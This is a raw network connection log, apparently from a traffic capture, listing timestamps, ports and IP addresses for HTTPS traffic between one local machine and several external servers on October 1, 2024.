Oct 1, 2024 15:08:28.348073006 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.349180937 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.349253893 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.349587917 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.349653006 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.349726915 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.349735022 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.381680965 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.381944895 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.381961107 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.383415937 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.383481026 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.383770943 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.383836985 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.383881092 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.399018049 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.431000948 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.431014061 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.460210085 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.460613012 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.460675001 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.460921049 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.460936069 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.477998972 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.541636944 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.548731089 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.548760891 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.549118996 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.549561024 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.549628019 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.549741983 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.591406107 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.651593924 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653713942 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653723955 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653750896 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653764009 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653819084 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.653830051 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.653848886 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.654383898 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.654409885 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:28.654468060 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:28.805499077 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.805553913 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.805633068 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.805635929 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.805691004 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.806277990 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:28.806293011 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:28.828023911 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:29.339479923 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339539051 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339575052 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339601040 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.339642048 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339694977 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.339700937 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339713097 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339745998 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.339752913 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339801073 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.339837074 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.339843035 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.340210915 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.340245962 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.340255022 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.340262890 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.340297937 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.344254017 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.387023926 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.426189899 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426264048 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426292896 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426316023 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.426330090 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426374912 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.426382065 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426650047 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426702976 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.426709890 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.426969051 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.427023888 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.427031040 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470191002 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470230103 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470263004 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470264912 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.470274925 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470319033 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.470328093 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.470370054 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.470932961 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471132994 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471177101 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471205950 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.471214056 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471267939 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.471579075 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471643925 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471679926 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471692085 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.471704006 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.471745014 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.472301960 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513053894 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513128996 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.513134956 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513145924 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513183117 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.513190031 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513235092 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.513277054 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.513288021 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.514024019 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.514075994 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.514082909 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.514127016 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.514523983 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.514586926 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.514595032 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.514631987 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.515062094 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.515124083 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.557245016 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.557296991 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.557342052 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.557351112 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.557359934 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.557398081 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.557416916 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.558131933 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.558191061 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.558197021 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.558203936 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.558228970 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560297966 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560363054 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560369968 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560380936 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560411930 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560417891 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560431004 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560432911 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560486078 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560492039 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560534000 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560657978 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560714006 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.560784101 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.560834885 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.561585903 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.561645985 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.600158930 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.600233078 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.600251913 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.600290060 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.600311041 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.600320101 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.600333929 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.607686043 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.607773066 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.607779980 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.607830048 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.610513926 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.610586882 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.610594988 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.610639095 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.610641956 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.610655069 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.610682964 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.611289978 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.611352921 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.611361027 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.611449003 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.643855095 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.643928051 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.643938065 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.643984079 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.643990040 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.643996954 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.644033909 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.644817114 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.644882917 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.645621061 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.645688057 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.645694971 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.645705938 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.645740986 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.645750999 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.645761013 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.645804882 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.646542072 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.646606922 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.647555113 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.647604942 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.647629976 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.647636890 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.647665024 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.648287058 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.648340940 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.648350000 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.648360014 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.648386002 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.648405075 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.649137974 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.649199009 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.649207115 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.649219036 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.649265051 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.650048018 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.650090933 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.650105953 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.650115013 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.650140047 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.650167942 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.651932955 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.651961088 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.652019978 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.652026892 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.652072906 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.652626038 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.652686119 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.687325954 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.687355995 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.687450886 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.687486887 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694634914 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694691896 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694714069 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.694730997 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694763899 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694796085 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.694803953 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.694823027 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.697904110 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.697921991 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.697998047 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.698029995 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731220961 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731250048 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731323957 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.731336117 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731647968 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731699944 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731715918 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.731723070 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.731770992 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.731966972 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.732027054 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.732526064 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.732544899 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.732582092 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.732589006 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.732600927 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.732613087 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.732634068 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.732644081 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.738878965 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.738976002 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.738982916 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.739458084 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.739476919 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.739520073 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.739527941 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.739552975 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.774477959 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774504900 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774549007 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.774559975 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774597883 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.774610043 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774652004 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774662018 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.774671078 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.774709940 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.774717093 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.781769991 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.781809092 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.781841040 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.781847000 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.781872034 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.785038948 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.785088062 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.785108089 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.785115004 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.785130978 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.825030088 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825076103 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825104952 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.825112104 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825148106 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.825342894 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825366020 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825398922 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.825407028 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.825433969 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.826216936 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.826231956 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.826287985 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.826294899 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.828121901 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.828140974 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.828196049 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.828205109 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.829793930 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.829857111 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.829865932 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.829926014 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.830041885 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.830090046 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.830099106 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.830106020 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.830136061 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.830144882 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.830147982 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.830163956 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.830193996 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861197948 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861222982 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861301899 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861303091 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861315012 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861340046 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861351967 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861376047 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861383915 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861397028 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861407995 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861422062 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.861430883 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.861447096 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.869474888 CEST	443	49776	104.21.11.126	192.168.2.16
